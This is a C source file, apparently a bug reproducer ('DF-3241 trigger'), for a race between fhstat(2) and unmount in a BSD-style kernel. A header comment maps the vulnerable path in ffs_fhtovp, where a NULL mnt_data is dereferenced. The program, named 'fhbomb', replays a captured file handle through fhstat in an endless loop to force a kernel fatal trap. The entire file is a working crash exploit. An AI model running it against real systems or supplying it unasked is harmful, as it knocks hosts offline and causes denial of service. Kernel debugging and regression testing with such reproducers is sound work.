/*
 * DF-3241 trigger: spin fhstat(2) on a captured file handle.
 *
 * fhstat -> sys_fhstat -> vfs_getvfs(fsid) -> VFS_FHTOVP -> ffs_fhtovp ->
 *   fs = VFSTOUFS(mp)->um_fs
 *
 * vfs_getvfs() does NOT check MNTK_UNMOUNT, and dounmount() removes the
 * mount from the mount list only AFTER VFS_UNMOUNT has already freed the
 * ufsmount and cleared mp->mnt_data.  A fhstat() that resolves the fsid in
 * that window dereferences mnt_data == NULL -> fatal trap.
 *
 * Usage: ./fhbomb fh.bin [spin_us]
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>

int
main(int argc, char **argv)
{
	fhandle_t fh;
	struct stat sb;
	int fd;
	long n = 0, ok = 0, stale = 0;
	u_long faccessed = 0;

	if (argc < 2)
		errx(1, "usage: fhbomb fh.bin");
	fd = open(argv[1], O_RDONLY);
	if (fd < 0)
		err(1, "open %s", argv[1]);
	if (read(fd, &fh, sizeof(fh)) != sizeof(fh))
		err(1, "read fh");
	close(fd);
	if (argc > 2)
		faccessed = strtoul(argv[2], NULL, 0);

	setvbuf(stderr, NULL, _IONBF, 0);
	for (;;) {
		if (fhstat(&fh, &sb) == 0)
			ok++;
		else if (errno == ESTALE)
			stale++;
		n++;
		if (faccessed && (n % 64) == 0)
			usleep(faccessed);
		if ((n % 500000) == 0)
			fprintf(stderr, "p=%d n=%ld ok=%ld stale=%ld\n",
			    getpid(), n, ok, stale);
	}
	/* NOTREACHED */
	return (0);
}
